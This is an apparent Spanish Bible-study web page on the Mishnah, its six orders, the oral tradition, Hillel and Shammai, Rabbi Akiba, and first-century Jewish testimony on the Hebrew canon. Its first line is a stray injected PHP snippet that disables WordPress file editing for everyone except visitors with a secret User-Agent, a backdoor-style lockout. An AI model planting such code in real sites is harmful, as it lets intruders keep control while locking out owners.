if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Akiba – Texto Bíblico

La Mishnah

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ANTIGUA LITERATURA JUDÍA

El Talmud

La Mishnah

La Mishnah (literalmente “repetición”) es la codificación de la ley tradicional de los judíos. Contiene reglas y requisitos formulados a través de muchos siglos por el sanedrín, por Hillel, Shammai y por otros famosos rabinos. Contiene conclusiones tomadas de decisiones acerca de casos nuevos en los cuales las reglas antiguas necesitaban ser reinterpretadas o modificadas. Por eso las reglas y las prohibiciones rituales religiosas constituyen la mayor parte de la Mishnah.

El que preparó la Mishnah fue Judá, hijo de Simón (c. 135 d.C. – c. 220 d.C.), conocido comúnmente como Judá ha-Nasi (“Judá el Príncipe”), o simplemente como Rabino. El dirigió la preparación de la primera edición completa de la ley tradicional judía en forma escrita. Judá ha-Nasi era un erudito sumamente agudo. Estudió griego, latín y astronomía con maestros seculares, y las enseñanzas de la ley judaica con varios destacados eruditos de su tiempo. Pronto aventajó a todos sus instructores y llegó a ser una autoridad tan reconocida en halaká, que sus decisiones fueron colocadas por encima de las del sanedrín, cuyos reglamentos se consideraban obligatorios sólo si el rabino Judá los sancionaba. Por ser presidente del sanedrín recibió el título de hanasi, “el Príncipe”; y por sus estrictos hábitos de vida se lo consideraba haqqadosh, “el santo”. Siguió los pasos de Akiba y de Meïr, y puso orden en las muchas reglas halákicas y las agrupó en temas tales como días de fiesta, ofrendas, purificación, etc. Esa obra fue terminada alrededor del año 200 d. C., y se ha convertido en la Mishnah oficial del judaísmo.

La Mishnah se convirtió después del Antiguo Testamento en la principal fuente de estudios religiosos judaicos, y con frecuencia su autoridad lo ha reemplazado. También llegó a ser el vínculo espiritual que unió a los judíos esparcidos en muchas naciones. Después de que la Mishnah se convirtió en norma de vida, lo cierto es que el sanedrín y los dirigentes judaicos fueron casi superfluos.

Según la distribución hecha por Judá ha-Nasi, la Mishnah está dividida en seis sedarim, u “órdenes” que contienen 63 opúsculos, cada uno con un nombre que indica su contenido.

Las seis “órdenes” son:

1. Zeraim (“semillas”): contiene 11 opúsculos (Berakhot [Berachot],  Pe’ah,  Demai,  Kil’ayim [Kilayim],  Shevi’it,  Terumot,  Ma’aserot,  Ma’aser Sheni,  Hallah,  Orlah,  Bikkurim), y trata principalmente de agricultura y sus productos.

3. Nashim (“mujeres”): contiene 7 opúsculos (Yevamoth [o Yebamoth, Yevamot, Yebamot],  Ketubot, Nedarim, Nazir, Sotah, Gittin, Kiddushin) y trata principalmente de reglas del matrimonio y la vida conyugal.

2. Moed (“fiestas establecidas”): contiene 12 opúsculos (Shabbat, Eruvin, Pesahim, Shekalim, Yoma, Sukkah, Beitza, Rosh Hashanah, Ta’anit, Megillah, Mo’ed Katan, Hagigah) y presenta reglas en cuanto al sábado y las fiestas.

4. Nezikin (“daños”): contiene 10 opúsculos y trata de las leyes civiles y criminales.

1. Bava Kamma (10 capítulos), trata de los asuntos civiles, en su mayoría los daños y la indemnización.

2. Bava Metzia (10 capítulos), trata de los asuntos civiles, en su mayoría agravios y el derecho de propiedad.

3. Bava Batra (10 capítulos), trata de los asuntos civiles, en su mayoría propiedad de la tierra.

4. Sanhedrin (11 capítulos), trata de las normas de procedimiento judicial en el Sanedrín, la pena de muerte, y otros asuntos criminales.

5. Makkot (3 capítulos), trata de testigos falsos, ciudades de refugio y el castigo de azotes.

6. Shevu’ot (8 capítulos), trata de los distintos tipos de juramentos y sus consecuencias.

7. Eduyot, (8 capítulos), presenta estudios de casos de disputas legales en tiempos de la Mishnah y los diversos testimonios que ilustran varios sabios y principios de la Halaká.

8. Avodah Zarah, 5 capítulos; trata de las leyes de las interacciones entre los Judíos y Gentiles y / o idólatras (desde una perspectiva judía).

9. Aboth [o Avot] (5 capítulos), es una colección de máximas morales y religiosas de los sabios.

10. Horayot (3 capítulos), trata de la expiación para los principales errores cometidos por el Sanedrín.

5. Qodashim [o Kodashim, o Qodhashim] (“cosas santificadas”): contiene 11 opúsculos (Zevahim, Menachot, Hullin, Bechorot, Arachin, Temurah, Keritot, Me’ilah, Tamid, Middot, Kinnim) y trata de las ofrendas.

6. Tohoroth (“limpiezas”): contiene 12 opúsculos (Kelim, Oholot, Nega’im, Parah, Tohorot,  Mikva’ot,  Niddah,  Makhshirim,  Zavim, Tevul Yom, Yadayim, Ukzin [Uktzim]) y se ocupa de reglas en cuanto a las cosas limpias e inmundas.

La Mishnah rara vez trata de temas puramente teológicos y contiene poco material haggádico. La excepción más digna de destacarse es el opúsculo ‘Aboth, o Pirqe ‘Aboth (el opúsculo noveno de Seder Nezikin), que es una colección de aforismos edificantes de los más famosos eruditos judíos desde alrededor de 200 a. C. hasta 200 d. C. Ninguna otra parte de la Mishnah se ha traducido e impreso tan frecuentemente.

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Enlaces externos:

– The Story of the Talmud

– Mishnah

– The Mishnah

Wikipedia: – Zeraim – NashimMoedNezikin –  Kodashim – Tohoroth

Jewih Virtual Library: Nezikin – Babilonian Talmud

TOHOROTH

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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Tradición oral

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ANTIGUA LITERATURA JUDÍA

El Talmud

Tradición oral

Los rabinos de la era apostólica afirmaban que la tradición oral judía era del mismo origen divino que la revelación escrita de la Torah. Esta tradición fue transmitida a las generaciones sucesivas hasta que a comienzos del siglo III d.C., aproximadamente, llegó a su forma escrita como la Mishnah y se convirtió en la norma de conducta para los judíos ortodoxos.

La tradición judía aún florecía en forma oral cuando se escribió el Nuevo Testamento, y se ocupaba principalmente de la exégesis de las Escrituras hebreas, la cual se conocía como Midrash. Esta exégesis no tenía un enfoque lingüístico o histórico en el sentido moderno, sino era más bien una búsqueda de nuevo conocimiento, y el texto bíblico sólo se usaba para dar orientación e inspiración. Esta exégesis se basaba en deducciones lógicas, en combinaciones de pasajes relacionados entre sí e interpretaciones alegóricas.

El Midrash que trata de temas históricos o dogmáticos recibe el nombre de Haggadá (“expresión”), o Midrash haggádico, y la parte que trata de asuntos legales se llama Halaká (literalmente “camino”, es decir, “una norma” o “una regla”) o Midrash halákico.

El término Haggadá se refiere a materiales no bíblicos y a la exégesis de los temas poéticos, históricos y otros asuntos no legales de la Biblia hebrea. Era la forma corriente que se usaba en la sinagoga para explicar la Biblia por medio de símbolos, alegorías, fábulas y parábolas. La Haggadá no estaba sujeta a reglas estrictas de exégesis y permitía el uso de casi cualquier recurso que dejara en el oyente una impresión duradera. La voluminosa y legendaria literatura judía del medioevo es principalmente el resultado de la exégesis haggádica de la Biblia. Sin embargo, sólo una pequeña parte del Talmud debe su origen a la Haggadá.

El término Halaká se refiere a los reglamentos religiosos basados principalmente en las secciones legales de la Biblia. La Haggadá era el sistema de exégesis que se usaba principalmente en los servicios de las sinagogas, en tanto que la Halaká se estudiaba en las escuelas religiosas más avanzadas. Si era posible hacerlo, se le daba una base de las Escrituras a los reglamentos halákicos; pero muchas reglas para las cuales no había base bíblica eran defendidas apoyándose en la pretensión de que habían sido entregadas a Moisés en el Sinaí sólo en forma oral. La Halaká fue codificada sistemáticamente, y la máxima ambición de cada judío erudito en la ley (los “escribas” del Nuevo Testamento) era aprender y entender todas las reglas halákicas relacionadas con la vida religiosa y secular de un judío escrupuloso.

Los maestros supremos de la Halaká fueron Hillel el Anciano (murió c. 20 d. C.) y Shammai. Ambos elaboraron sus enseñanzas en las últimas décadas del siglo I a. C., y sus seguidores formaron escuelas separadas. Hillel era famoso por la dulzura de su carácter, que se manifestaba en reglamentos más liberales que los enunciados por Shammai. Si bien concordaba con Shammai en que la letra de la Torah debía cumplirse literalmente, la interpretaba de tal manera que sólo debían cumplirse los requerimientos mínimos de la ley; en cambio Shammai era estricto y exigía a sus seguidores los requerimientos máximos de la ley.

Para los no judíos con frecuencia deben haber parecido artificiales las diferencias entre las escuelas de Hillel y de Shammai.

La naturaleza de los puntos de vista halákicos y las diferencias entre Hillel y Shammai se ilustran con el siguiente ejemplo: Shammai dictaminaba que no era permitido vender cosa alguna a un gentil o ayudarlo a cargar su bestia si iba a viajar con esa carga en sábado; Hillel no veía ningún mal en permitir esto (Mishnah Shabbat 1. 5). ¹

Un ejemplo bastante extremo de la minuciosidad de Shammai, era su insistencia en que cuando se buscaban aves para sacrificar en un día de fiesta, no se podía mover una escalera de un palomar a otro, sino sólo de una abertura a otra del mismo palomar; en cambio Hillel permitía ambas cosas (Mishnah Betzah 1. 2).²

Sin embargo, hay unos pocos casos en los cuales las reglas de Hillel parecen más estrictas que las de Shammai. Por ejemplo, permitía que se comiera un huevo puesto en sábado; pero Hillel lo prohibía argumentando que las restricciones para preparar alimento en sábado se aplicaban no sólo a los hombres sino también a las gallinas (Mishnah Eduyoth 4. 1).³

Después de que Tito destruyó a Jerusalén, se fundó una academia de conocimientos judaicos en Jamnia, al sur de Jope. Aquí también se reorganizó el sanedrín. El primer director de este centro de sabiduría judaica fue el rabino Johanán ben Zakkai. El fue quien logró conservar la tradición judaica para la posteridad, haciéndola – después de las Escrituras hebreas – el centro de todo el pensamiento y la vida de los judíos ortodoxos. El más famoso de sus sucesores fue el rabino Akiba (c. 50 d. C. – c. 132), uno de los principales pensadores judíos de todos los tiempos. De acuerdo con las opiniones de los rabinos, Akiba logró una comprensión más profunda y más penetrante de la ley que Moisés mismo.

Los primeros años de la vida de Akiba están velados por la oscuridad, pero se sabe que era de origen humilde y que no comenzó sus estudios hasta que fue un hombre maduro. Como aprendió a leer y a escribir siendo adulto, mantuvo un respeto temeroso y místico hacia la escritura. Esa reverencia se manifestó en una exégesis que daba sentido no sólo a las frases y las palabras, sino también a las letras y a las partes de éstas. Consideraba que su principal tarea era la de hallar una base bíblica real o supuesta para cada halaká mediante una deducción lógica, con lo cual logró dar un orden sistemático a la gran masa de material halákico. Así creó la primera recopilación completa de la Mishnah. Aunque ese material todavía no había sido registrado por escrito, es posible que algunas pequeñas recopilaciones halákicas fueran escritas bajo su dirección.

El rabí Akiba es, además, importante porque fue uno de los líderes del Concilio de Jamnia (c. 90 d. C.), donde se tomaron importantes decisiones acerca del canon y del texto hebreo de la Biblia, y también porque apoyó al revolucionario Barcoquebas como al Mesías prometido, durante la guerra que comenzó en 132 d. C. Es evidente que fue hecho prisionero por los romanos aun antes de que estallara la guerra. Murió como mártir, al final de la guerra.

El más ilustre de los discípulos de Akiba fue el rabino Meïr, que continuó y completó el sistema legal de su maestro. Su importancia es evidente por el hecho de que en la Mishnah es citado más que cualquiera de sus predecesores.

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¹ “The Beth Shamai says: One shall not sell anything to a Gentile (on Friday) or help him load his animal, or help him shoulder a burden unless he (the Gentile) can reach (with his load) the nearest place while it is yet day. The Beth Hillel permits this.” (The Babylonian Talmud, Book 1: Tract Sabbath, tr. by Michael L. Rodkinson, [1903], at sacred-texts.com) CHAPTER I. REGULATIONS REGARDING TRANSFER ON SABBATH. MISHNA V.

² “Beth Shammai say: It is prohibited to remove a ladder from one dove-cote to another; it may, however, be inclined from one opening to another (of the same dove-cote). But Beth Hillel allow both.” TRACT BETZAH (YOM TOB). CHAPTER I. MISHNA II (pág 15).

³ “In the following cases the decisions of Beth Shamai are lenient, and those of Beth Hillel rigorous. An egg laid on a holiday is, according to Beth Shamai, allowed to eat on that day, but is not so according to Beth Hillel.” Tract Eduyoth (Testimonies) CHAPTER IV, MISHNA I.

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The Babylonian Talmud

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ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

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Testimonios de judíos del primer siglo

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Testimonios de judíos del primer siglo

Filón de Alejandría

Filón de Alejandría (murió por el año 42 DC) era un filósofo judío que escribió en el tiempo de Cristo. Sus obras contienen citas de 16 de los 24 libros de la Biblia hebrea. Puede ser accidental que sus escritos no contengan citas de Ezequiel, Daniel y las Crónicas y otros cinco libros pequeños.

El historiador Josefo, escribiendo por el año 90 DC, hizo una declaración importante acerca del canon, en su obra Contra Apión:

“Por esto entre nosotros no hay multitud de libros que discrepan y disienten entre sí; sino solamente veintidós libros, que abarcan la historia de todo tiempo y que, con razón, se consideran divinos. De entre ellos cinco son de Moisés, y contienen las leyes y la narración de lo acontecido desde el origen del género humano hasta la muerte de Moisés. Este espacio de tiempo abarca casi tres mil años. Desde Moisés hasta la muerte de Artajerjes, que reinó entre los persas después de Jerjes, los profetas que sucedieron a Moisés reunieron en trece libros lo que aconteció en su época. Los cuatro restantes ofrecen himnos en alabanza de Dios y preceptos utilísimos a los hombres.”¹ (Flavio JosefoContra Apión, Libro I, 8).

Supuesto retrato romano de Flavio Josefo

Necesita una explicación la declaración de Josefo referente a que la Biblia de los judíos contenía 22 libros, porque se sabe que había realmente 24 libros en la Biblia hebrea antes de él y en su tiempo. Su división de 5 “libros de Moisés”, 13 libros de “profetas” y 4 libros de “himnos a Dios y preceptos para la conducta de la vida humana”, sigue más de cerca el orden de la Septuaginta que el de la Biblia hebrea; proceder comprensible puesto que escribió para lectores que hablaban griego. Pero la base de su declaración -que la Biblia hebrea tenía 22 libros- se debió probablemente a una práctica hebrea que surgió entre algunos que procuraban ajustar el número de libros de las Escrituras de acuerdo con el número de las letras del alfabeto hebreo. Probablemente Josefo computó a Rut junto con Jueces, y Lamentaciones junto con Jeremías, o posiblemente dejó afuera dos de los libros que pueden haberle parecido de poca importancia.

Otro autor judío de ese tiempo, que escribió la obra espuria llamada 4 Esdras (apócrifo), es el primer testigo que indica que el número de libros de la Biblia hebrea era 24 (cap. 14:45).

Hacia el fin del siglo I o comienzos del II, se celebró un concilio de eruditos judíos en Jamnia, al sur de Jaffa, en Palestina. Ese concilio fue presidido por Gamaliel II, junto con el rabí Akiba, el erudito judío más influyente de ese tiempo, y que fue el espíritu rector de la asamblea.

Puesto que algunos judíos consideraban ciertos libros apócrifos como de igual valor que los libros canónicos del Antiguo Testamento, los judíos querían colocar su sello oficial sobre un canon que había existido inmutable por un largo tiempo y que -así lo sentían- necesitaba ser resguardado contra posibles adiciones.

Por lo tanto, este concilio no estableció el canon del Antiguo Testamento sino sólo confirmó una posición sostenida durante siglos en cuanto a los libros de la Biblia hebrea. Con todo, es cierto que, en algunos sectores, fue cuestionada la canonicidad del Eclesiastés, Cantares, Proverbios y Ester. Pero el mencionado rabí Akiba eliminó las dudas con su autoridad y elocuencia, y esos libros mantuvieron su lugar en el canon hebreo.

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¹ “For we have not an innumerable multitude of books among us, disagreeing from and contradicting one another, [as the Greeks have,] but only twenty-two books, which contain the records of all the past times; which are justly believed to be divine; and of them five belong to Moses, which contain his laws and the traditions of the origin of mankind till his death. This interval of time was little short of three thousand years; but as to the time from the death of Moses till the reign of Artaxerxes king of Persia, who reigned after Xerxes, the prophets, who were after Moses, wrote down what was done in their times in thirteen books. The remaining four books contain hymns to God, and precepts for the conduct of human life.” Web: Early Jewish Writings, Flavius Josephus Against Apion, Book I, 8; o FLAVIUS JOSEPHUS OF THE ANTIQUITY OF THE JEWS. AGAINST APION. BOOK I, 8.

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LA HISTORIA DEL CANON DEL BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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